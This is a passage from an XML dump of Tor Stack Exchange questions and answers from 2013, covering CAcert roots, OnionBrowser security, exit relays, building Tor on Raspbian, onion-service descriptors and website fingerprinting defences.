set such a family option. This will also be respected.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;li&gt;Tor chooses special long-lived relays, so-called guard nodes. In 2006 an attack was discovered (see &lt;a href=&quot;http://freehaven.net/anonbib/#hs-attack06&quot; rel=&quot;nofollow noreferrer&quot;&gt;Locating hidden servers&lt;/a&gt; for a motivation) and as a result guard nods were introduced.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="88" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2013-09-30T20:57:50.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="232" PostTypeId="1" AcceptedAnswerId="264" CreationDate="2013-09-30T21:47:24.147" Score="8" ViewCount="535" Body="&lt;p&gt;&lt;a href=&quot;http://cacert.org/&quot;&gt;CAcert&lt;/a&gt; is a community based approach to create a certificate authority. Many sites use it (i.e. &lt;a href=&quot;https://www.ccc.de/&quot;&gt;CCC&lt;/a&gt;). However the &lt;a href=&quot;http://www.cacert.org/index.php?id=3&quot;&gt;root certificate&lt;/a&gt; is not yet present in major browsers and also not in the Tor Browser Bundle. I consider them as a trustworthy organisation and really would love to see the root certificate in any browser.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How hard is it to include it into TBB?&lt;/li&gt;&#xA;&lt;li&gt;Why isn't the root cert included into TBB?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="88" LastActivityDate="2013-10-02T00:50:54.893" Title="Why doesn't the Tor Browser Bundle include CAcert root cert?" Tags="|tor-browser-bundle|https|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="233" PostTypeId="1" AcceptedAnswerId="263" CreationDate="2013-09-30T23:22:48.680" Score="6" ViewCount="38504" Body="&lt;p&gt;Currently it seems there are no torproject.org &quot;officially sanctioned&quot; solutions for iOS. However, there is a browser called OnionBrowser that passes check.torproject.org and is able to access hidden services on the tor network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, do we know how secure it is compared to running tor from Vidalia or even Orbot?  Aside from the following warnings provided by OnionBrowser:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Caveats:&#xA;  HTML5 &lt;code&gt;&amp;lt;video&amp;gt;&lt;/code&gt; tags will leak &lt;code&gt;&amp;lt;video&amp;gt;&lt;/code&gt;-related DNS queries and data transfer outside of Tor.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Javascript cannot be disabled, HTML5 Geolocation API cannot be disabled.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I guess one concern I have is how often the other tor software is updated and the inherent lag with availability of updates from both the developer and the App Store itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise is there anything I should know about using this to access  Tor?  Is it ill-advised  in scenarios where security or anonymity is important?&lt;/p&gt;&#xA;" OwnerUserId="24" LastEditorUserId="58" LastEditDate="2013-10-04T12:58:20.030" LastActivityDate="2017-02-23T22:18:15.287" Title="OnionBrowser for iOS -- how secure is it?" Tags="|anonymity|mobile|browsers|ios|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="234" PostTypeId="5" CreationDate="2013-09-30T23:25:17.740" Score="0" Body="&lt;p&gt;Exit relays are the final hop in a Tor circuit and the point at which traffic exits the Tor network, has the last layer of encryption stripped off, and is forwarded on to its destination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exit relays do not know the origin of Tor traffic (the sender's identity), but do know its destination (the receivers identity).  See the wiki description for &lt;a href=&quot;/questions/tagged/relays&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'relays'&quot; rel=&quot;tag&quot;&gt;relays&lt;/a&gt; for more information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This category is for questions specific to exit relays.  General relay questions should be tagged with &lt;a href=&quot;/questions/tagged/relays&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'relays'&quot; rel=&quot;tag&quot;&gt;relays&lt;/a&gt; instead.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorUserId="58" LastEditDate="2013-10-07T16:45:28.803" LastActivityDate="2013-10-07T16:45:28.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="235" PostTypeId="4" CreationDate="2013-09-30T23:25:17.740" Score="0" Body="Questions related to running, and maintaining exit relays" OwnerDisplayName="user5" LastEditorDisplayName="user5" LastEditDate="2013-10-01T13:20:56.420" LastActivityDate="2013-10-01T13:20:56.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="236" PostTypeId="2" ParentId="230" CreationDate="2013-10-01T00:09:41.180" Score="5" Body="&lt;p&gt;The ip of the exit relay does not say anything about your identity. The whole circuit is replaced, not (just) the exit relay, so it shouldn't matter if you end up on the same exit node. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for theTorbutton vs Vidalia new identity, the Torbutton additionally clears out your browser's session cookies, cache, history, etc and closes open tabs. Vidalia just builds a new circuit.  So Torbutton is the more secure option when browsing the web. &lt;/p&gt;&#xA;" OwnerUserId="24" LastActivityDate="2013-10-01T00:09:41.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="237" PostTypeId="2" ParentId="232" CreationDate="2013-10-01T00:23:56.127" Score="8" Body="&lt;p&gt;The Tor Browser Bundle uses the certificate authority list that is created and maintained by the Mozilla Foundation (aka the default certs that come with Firefox). Mozilla has a &lt;a href=&quot;https://www.mozilla.org/projects/security/certs/policy/&quot;&gt;strict policy&lt;/a&gt; for what can and cannot be included in their list, and a large developer base that will hear about breaches, attacks, etc. and can respond fairly quickly to revoke a certificate or add new ones that meet their criteria. There are many, many CA's, and not that many Tor developers; it makes sense to use the existing certificates that are maintained by a much larger (and more experienced in this field) community. This is (hopefully) a safter, more secure route for everyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The inclusion status of CACert in Firefox (and therefore in the TBB) can be found on Mozilla's bug tracker as &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=215243&quot;&gt;Bug 215243&lt;/a&gt;. It is essentially awaiting an independant &lt;a href=&quot;https://wiki.cacert.org/Audit&quot;&gt;audit&lt;/a&gt; and a resubmit from the CACert team.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastActivityDate="2013-10-01T00:23:56.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="238" PostTypeId="2" ParentId="206" CreationDate="2013-10-01T01:17:24.990" Score="2" Body="&lt;p&gt;Even if you cannot contribute any sort of network resource, you can still contribute money that will be used to pay operating costs for running relays. See, for example, &lt;a href=&quot;https://www.torservers.net/&quot; rel=&quot;nofollow&quot;&gt;https://www.torservers.net/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="175" LastActivityDate="2013-10-01T01:17:24.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="239" PostTypeId="2" ParentId="222" CreationDate="2013-10-01T06:00:25.400" Score="1" Body="&lt;p&gt;I believe that it's possible to prevent fingerprinting by browsing on a remote desktop, rather than directly on a local machine. The signatures for client-website traffic and local-remote RDP traffic would be poorly correlated at best.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First rent a hosted physical server, with at least 2 GB RAM, running Debian or Ubuntu (server, no GUI). If possible, using a secure channel, send an RSA public SSH key to the hosting provider for installation, and have them disable password-based SSH logins. Pay for the server using thoroughly-anonymized Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SSH to your server via Tor, and install Tor on it. Create an SSH hidden service. Then test the SSH hidden service, from a new terminal window, without terminating the existing SSH connection. Once you've verified that it works, create iptables rules on the server that block all non-Tor connectivity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now install VirtualBox, and its extension pack, on the server. Download the Crunchbang image, and create a VM using VBoxManage commands. Configure the Crunchbang VM for RDP using VBoxAuthSimple authentication. You can either use RDP via SSH via Tor, or create an RDP hidden service. If you like, you can enable remote USB support via RDP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use this setup, you would SSH to the server via Tor, start the Crunchbang VM using VBoxHeadless, and establish an RDP connection to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there's interest, I'm willing to expand this answer as desired.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-10-01T06:00:25.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="240" PostTypeId="1" AcceptedAnswerId="241" CreationDate="2013-10-01T06:09:14.737" Score="16" ViewCount="293" Body="&lt;p&gt;This &lt;a href=&quot;https://blog.torproject.org/blog/support-tor-network-donate-exit-node-providers&quot;&gt;blog post from 2011&lt;/a&gt; mentions a few organisations that accept donations to run Tor exit nodes. What all organisations are there that accept donations to run exit nodes on my behalf?&lt;/p&gt;&#xA;" OwnerUserId="97" LastEditorDisplayName="user5" LastEditDate="2013-10-01T18:39:51.567" LastActivityDate="2013-10-02T05:07:07.810" Title="Which exit node providers can I financially support to run nodes on my behalf?" Tags="|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="241" PostTypeId="2" ParentId="240" CreationDate="2013-10-01T06:12:20.907" Score="9" Body="&lt;p&gt;There's actually been an explosion of non-profits lately that are organized for running exit relays. In rough order of appearance on the scene:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.torservers.net/&quot;&gt;Zwiebelfreunde&lt;/a&gt;, aka torservers.net, is the original organization formed for this purpose, and they still operate the most capacity in the Tor network (Germany).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;a href=&quot;http://privacyfoundation.ch/&quot;&gt;Swiss Privacy Foundation&lt;/a&gt; has been running Tor exits for many years now (Switzerland).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://noisetor.net/&quot;&gt;NoiseTor&lt;/a&gt; is a project of the San Francisco-based Noisebridge 501c3 non-profit (USA).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.dfri.se/index.en&quot;&gt;Föreningen för Digitala Fri- och Rättigheter&lt;/a&gt; (DFRI) is a Swedish non-profit that runs several large exit relays (Sweden).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.enn.lu/&quot;&gt;Frënn vun der Ënn&lt;/a&gt; runs some large exits as well (Luxembourg).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://nos-oignons.net/&quot;&gt;Nos Oignons&lt;/a&gt; is a French non-profit started by Lunar et al to run fast exits (France).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.hartvoorinternetvrijheid.nl/&quot;&gt;Hart Voor Internetvrijheid&lt;/a&gt; is just starting up, organized by some of our friends in and around Amsterdam (Netherlands).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In addition, organizations like the German &lt;a href=&quot;https://www.ccc.de/&quot;&gt;Chaos Computer Club&lt;/a&gt; have run fast reliable exits for many years, and would welcome donations and help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep an eye on &lt;a href=&quot;https://www.torservers.net/partners.html&quot;&gt;Zwiebelfreunde's partners list&lt;/a&gt; for new ones.&lt;/p&gt;&#xA;" OwnerUserId="97" LastEditorUserId="97" LastEditDate="2013-10-02T05:07:07.810" LastActivityDate="2013-10-02T05:07:07.810" CommentCount="0" CommunityOwnedDate="2013-10-01T06:12:20.907" ContentLicense="CC BY-SA 3.0" />
  <row Id="242" PostTypeId="1" AcceptedAnswerId="243" CreationDate="2013-10-01T08:41:22.983" Score="25" ViewCount="55991" Body="&lt;p&gt;The Debian/Ubuntu packages from &lt;a href=&quot;http://deb.torproject.org&quot;&gt;deb.torproject.org&lt;/a&gt;[&lt;a href=&quot;https://www.torproject.org/docs/debian&quot;&gt;docs&lt;/a&gt;] do not work on the &lt;a href=&quot;http://www.raspberrypi.org/&quot;&gt;Raspberry Pi&lt;/a&gt; when running &lt;a href=&quot;http://www.raspbian.org/&quot;&gt;Raspbian&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $ tor --version&#xA;    Illegal instruction&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why, and how can I still run Tor versions newer than &lt;a href=&quot;http://archive.raspbian.org/raspbian/pool/main/t/tor/&quot;&gt;what ships with Raspbian&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2019-07-10T12:25:52.603" Title="How to run Tor on Raspbian on the Raspberry Pi?" Tags="|packages|debian|raspberry-pi|raspbian|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="243" PostTypeId="2" ParentId="242" CreationDate="2013-10-01T08:41:22.983" Score="22" Body="&lt;h1&gt;The issue&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The packages we build for &lt;a href=&quot;http://deb.torproject.org&quot;&gt;deb.tpo&lt;/a&gt; are compiled for various &lt;a href=&quot;http://www.debian.org/&quot;&gt;Debian&lt;/a&gt; and &lt;a href=&quot;http://www.ubuntu.com/&quot;&gt;Ubuntu&lt;/a&gt; &lt;a href=&quot;http://www.debian.org/ports/&quot;&gt;architectures&lt;/a&gt;.  These currently are &lt;a href=&quot;http://www.debian.org/ports/amd64/&quot;&gt;amd64&lt;/a&gt;, &lt;a href=&quot;http://www.debian.org/ports/i386/&quot;&gt;i386&lt;/a&gt; (x86-64 and x86), and two &lt;a href=&quot;http://www.debian.org/ports/arm/&quot;&gt;arm&lt;/a&gt; &lt;a href=&quot;https://wiki.debian.org/ArmPorts&quot;&gt;ports&lt;/a&gt;: &lt;a href=&quot;https://wiki.debian.org/ArmEabiPort&quot;&gt;armel&lt;/a&gt; and &lt;a href=&quot;https://wiki.debian.org/ArmHardFloatPort&quot;&gt;armhf&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Arm CPUs come in different versions, and newer versions generally have more features.  The arm ports of Debian differ in what kind of CPU they need as a minimum.  In particular, the armhf port needs at least ARMv7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The arm CPU shipped in the &lt;a href=&quot;http://www.raspberrypi.org/&quot;&gt;Raspberry Pi&lt;/a&gt; is an ARMv6 CPU.  &lt;em&gt;As such, packages built for Debian's armhf port do not, in general, work on Raspberry Pi systems.&lt;/em&gt;  Packages compiled for Debian's older arm port, armel, would work on the Raspberry Pi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately however, &lt;a href=&quot;http://www.raspbian.org/&quot;&gt;Raspbian&lt;/a&gt;, a system based on Debian but built for the Raspberry Pi, still decided to call their architecture armhf, even if they can't run Debian armhf binaries.  This means two things if you run Raspbian:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can't install the packages we built for armel and that would work on your hardware, at least not easily[1].&lt;/li&gt;&#xA;&lt;li&gt;The packages we built for Debian's armhf will install cleanly -- after all, they say they are for the same architecture as the host -- but then they will not work.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Solution&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If you want to run newer Tor versions than are available from the Raspbian folks, you will have to build them yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can either build it from the &lt;a href=&quot;https://www.torproject.org/download/download.html.en#source&quot;&gt;source tarball&lt;/a&gt; like a lot of other Unix/Linux software and install it locally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The better option might be to build your own binary Debian packages using the &lt;em&gt;source packages&lt;/em&gt; that we put up on &lt;a href=&quot;http://deb.torproject.org&quot;&gt;deb.tpo&lt;/a&gt;.  This means you will end up with nice Debian packages that you can install using dpkg and that integrate well in your current system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To build such packages, follow the documentation on &lt;a href=&quot;https://www.torproject.org/docs/debian#source&quot;&gt;Tor's page about Debian packages&lt;/a&gt;.  It's a few easy steps, good luck!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;[1]: While the binaries built for armel would work on your &lt;em&gt;hardware&lt;/em&gt;, they would need all the libraries they depend on built for armel as well.  That is, you probably would need an all-armel system or a chroot.  Hence &quot;not easily&quot;.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-10-01T08:41:22.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="244" PostTypeId="1" AcceptedAnswerId="250" CreationDate="2013-10-01T09:55:40.017" Score="21" ViewCount="11189" Body="&lt;p&gt;I know &lt;code&gt;.onion&lt;/code&gt; addresses are a (partial) hash of a descriptor which contains a public &lt;a href=&quot;https://en.wikipedia.org/wiki/RSA_%28algorithm%29&quot;&gt;RSA key&lt;/a&gt;, so I was wondering: it is possible to see the public key that is found when connecting to a &lt;code&gt;.onion&lt;/code&gt; hidden service using Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While in general it is a dangerous idea to use the same cryptographic key for different algorithms, there are many statistical reasons why knowing the public key is interesting. For example, looking for low-entropy keys by checking if the key is used by &lt;a href=&quot;https://www.eff.org/observatory&quot;&gt;others&lt;/a&gt; or &lt;a href=&quot;http://windowsontheory.org/2012/05/15/979/&quot;&gt;looking for common prime factors&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="159" LastEditDate="2013-10-06T00:18:42.107" LastActivityDate="2016-12-19T14:12:15.480" Title="Is it possible to look up the public key for a .onion-address?" Tags="|onion-services|directory|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="245" PostTypeId="2" ParentId="233" CreationDate="2013-10-01T10:56:29.280" Score="2" Body="&lt;p&gt;As you've written it isn't an official application, so that means that it can have security bugs which won't be addressed by the core Tor team.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We don't know how to verify the security of the included versions of Orbot and Vidalia - they pass &lt;code&gt;check.torproject.org&lt;/code&gt;, but without analysing the source code there's no way to ensure there isn't a gap anywhere that would allow somebody to get your location.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="71" LastEditDate="2013-10-02T15:58:15.127" LastActivityDate="2013-10-02T15:58:15.127" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="247" PostTypeId="2" ParentId="222" CreationDate="2013-10-01T12:26:37.713" Score="4" Body="&lt;p&gt;To get a good understanding of the general problem, I recommend the paper &lt;a href=&quot;http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;amp;arnumber=6234422&quot;&gt;Why Efficient Traffic Analysis Countermeasures Fail&#xA;&lt;/a&gt;. It gives a good overview of why previous defence mechanisms are not sufficient. They also proposed a rather simple classifier called VNG++ which achieves good detection accuracy by only exploiting coarse features such as &quot;total bytes sent&quot;, &quot;connection duration&quot; and &quot;packet bursts&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, the only perfect defence against web site fingerprinting is a constant-rate channel between client and web server which keeps transmitting data (the paper cited above refers to such a channel as BuFLO). Obviously, that's not very practical. So with every piece of efficiency we obtain, we move further away from our ideal traffic analysis defence. That doesn't have to be bad but it also doesn't make defending against web site fingerprinting easier.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can users alter their behavior to prevent or make fingerprinting more difficult?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Maybe a little bit. If you have a very good understanding of how modern classifiers work and what features they exploit, you might be able to influence your web surfing in a way that you would slightly reduce their accuracy. So with a lot of effort, you might be able to make it somewhat more difficult. This is  just a guess, however. Web site fingerprinting does not exploit user behaviour but rather HTTP-level behaviour. In particular, how much content is transferred, how long it takes to transfer it and how client and server communicate while downloading a web site. As a user, you can't influence this process all that much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think that web site fingerprinting should be tackled by teaching users to act differently, though.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What can websites do to make it more difficult for an adversary to fingerprint their users?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm not aware of any lightweight and neat hacks. Good server-side protection would probably mean making your content &quot;look similar&quot; to other web sites. And even then, an attacker might be able to say &quot;well, it's either site X or site Y&quot;. Also, this would require heavy modification of &lt;strong&gt;all&lt;/strong&gt; the content on a web site. Unfortunately, the research community is currently more interested in enhancing attacks rather than thinking about defences. One reason for that is that it's easy to conclude from the paper I linked above that &quot;we're all screwed&quot;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For example ScrambleSuit aims to be more sophisticated than current pluggable transports. Would it help regarding fingerprinting of websites and be feasible to deploy on the whole Tor network?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;ScrambleSuit modifies its &lt;strong&gt;packet length distribution&lt;/strong&gt; and &lt;strong&gt;inter-arrival times&lt;/strong&gt;. The modified packet length distribution should get rid of Tor's characteristic 586-byte signature. ScrambleSuit does not, however, obfuscate  derived features such as &quot;total bytes transferred&quot; or &quot;downstream/upstream bursts&quot;. While it wouldn't be a very tricky feature to implement, it would involve additional overhead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no comprehensive analysis of how well ScrambleSuit defends against web site fingerprinting (I have the measurement tools but not the data) but my guess is that it would probably reduce the accuracy of classifiers a little bit but certainly not enough to be regarded as strong defence. However, it would be quite interesting to enhance ScrambleSuit in such a way. Patches are welcome! :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the feasibility of deploying it: the code is mostly ready and is currently being tested.&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2013-10-01T12:26:37.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="248" PostTypeId="1" CreationDate="2013-10-01T13:49:26.027" Score="2" ViewCount="2426" Body="&lt;p&gt;My ISP locks me out of the Internet if it detects Tor, and the normal browser redirects to the &quot;TOR DETECTED&quot; page. I then got the pluggable transport and added some bridges that I got from &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/org/roadmaps/BridgeDB&quot; rel=&quot;nofollow noreferrer&quot;&gt;BridgeDB&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I start up Tor, it works at home, but when I went to my school's ISP, the message log flashed, and this is what happened. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example on the error log:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Oct 01 07:55:10.976 [Warning] We were supposed to connect to bridge 'xx.xx.xx.xx:40872' using pluggable transport 'obfs3', but we can't find a pluggable transport proxy supporting 'obfs3'. This can happen if you haven't provided a ClientTransportPlugin line, or if your pluggable transport proxy stopped running.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hqhtc.png&quot; alt=&quot;Screenshot of Vidalia log&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="31632" LastEditDate="2021-05-04T22:04:05.437" LastActivityDate="2021-05-04T22:04:05.437" Title="My ISP doesn't even allow OBFS3" Tags="|censorship|pluggable-transports|internet-service-provider|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="249" PostTypeId="1" AcceptedAnswerId="252" CreationDate="2013-10-01T13:55:30.490" Score="9" ViewCount="485" Body="&lt;p&gt;I am considering running an exit relay. Unfortunately this opens possibility of legal issues and traffic restrictions from my Internet Service Provider. See &lt;a href=&quot;https://www.torproject.org/docs/faq-abuse.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Abuse FAQ&lt;/a&gt; and &lt;a href=&quot;https://www.torproject.org/eff/tor-legal-faq.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Legal FAQ&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a nice blog article recommending what to do: &lt;a href=&quot;https://blog.torproject.org/blog/tips-running-exit-node-minimal-harassment&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tips for Running an Exit Node with Minimal Harassment&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I can set the &lt;strong&gt;exit policy&lt;/strong&gt; to limit potentially problematic ports and and IP addresses reachable from the exit relay using &lt;code&gt;ExitPolicy&lt;/code&gt; option in &lt;code&gt;torrc&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;I can &lt;strong&gt;limit the bandwidth&lt;/strong&gt; by using &lt;code&gt;*Bandwidth*&lt;/code&gt; options in &lt;code&gt;torrc&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;I &lt;strong&gt;should not&lt;/strong&gt; perform &lt;strong&gt;security inspection&lt;/strong&gt; on the traffic leaving the Tor network because it is being considered bad. See &lt;a href=&quot;https://tor.stackexchange.com/questions/213/may-i-do-security-inspection-on-exit-relays&quot;&gt;May I do security inspection on exit relays?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Are there other means which I can use to limit possible malicious traffic leaving my exit relay?&lt;/p&gt;&#xA;" OwnerUserId="114" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-11-24T01:01:53.420" Title="What can I do to reduce risk of malicious traffic leaving my exit relay besides setting the exit policy?" Tags="|exit-relays|exit-policies|abuse|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="250" PostTypeId="2" ParentId="244" CreationDate="2013-10-01T14:15:50.527" Score="17" Body="&lt;p&gt;In theory, it should be just a matter of fetching /tor/rendezvous2/&amp;lt;hidden service identity&amp;gt; via HTTP from the hidden service directory responsible for that hidden service, as per the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/rend-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;rend spec&lt;/a&gt;, in particular section 1.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In practice, you need to find the right server to download it from and then form the request correctly.  That's a bit icky to do manually.  There is a script by DonnchaC, &lt;a href=&quot;https://github.com/DonnchaC/tor/blob/master/scripts/retrieve_hs_descriptor.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;retrieve_hs_descriptor&lt;/a&gt;, which depends on &lt;a href=&quot;https://stem.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stem&lt;/a&gt; and helps with that part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example, right now the descriptor for the &lt;a href=&quot;http://3g2upl4pq6kufc4m.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;DuckDuckGo hidden service&lt;/a&gt; can be found, among other places, at&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;http://64.31.47.121:9030/tor/rendezvous2/yj446zqor4cczgxzl3kgtmdbfgwkj6de&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;rendezvous-service-descriptor yj446zqor4cczgxzl3kgtmdbfgwkj6de&#xA;version 2&#xA;permanent-key&#xA;-----BEGIN RSA PUBLIC KEY-----&#xA;MIGJAoGBAJ/SzzgrXPxTlFrKVhXh3buCWv2QfcNgncUpDpKouLn3AtPH5Ocys0jE&#xA;aZSKdvaiQ62md2gOwj4x61cFNdi05tdQjS+2thHKEm/KsB9BGLSLBNJYY356bupg&#xA;I5gQozM65ENelfxYlysBjJ52xSDBd8C4f/p9umdzaaaCmzXG/nhzAgMBAAE=&#xA;-----END RSA PUBLIC KEY-----&#xA;secret-id-part a2pcyuhciqsrah34benwufa54aandwzh&#xA;publication-time 2013-10-01 15:59:47&#xA;protocol-versions 2,3&#xA;introduction-points&#xA;-----BEGIN MESSAGE-----&#xA;//OUTPUT CUT&#xA;-----END MESSAGE-----&#xA;signature&#xA;-----BEGIN SIGNATURE-----&#xA;VEToDAxw1X77NwcM6/DG+I3uu8lLlFpI//rUHjLRC0unA7kRp6xY4E6xpcbl4KUX&#xA;EUUkJ3hXhmB3gFAjUkk70IDr5HIP86Z/ZTl6WvbTFWYLUPJQtt08XSmY788FG1lA&#xA;nTnNbqms5Nt5HKsG5khZf5viIuU3ei+u0SIv3gHy3JY=&#xA;-----END SIGNATURE-----&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note that for servers running a Tor version 0.2.4.x or 0.2.3.23 or later, the answer is even trickier.  Such servers, when acting as hidden service directories, will require these HTTP requests to be done &lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/tor-0.2.4.17-rc:/src/or/directory.c#l3284&quot; rel=&quot;nofollow noreferrer&quot;&gt;via an encrypted connection&lt;/a&gt;, i.e. over Tor and not using plain-text HTTP.  So that makes it a bit more tricky. The easiest approach might be to modify Tor and have it dump HS descriptors when you fetch them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise you could use Stem &lt;a href=&quot;https://stem.torproject.org/api/control.html&quot; rel=&quot;nofollow 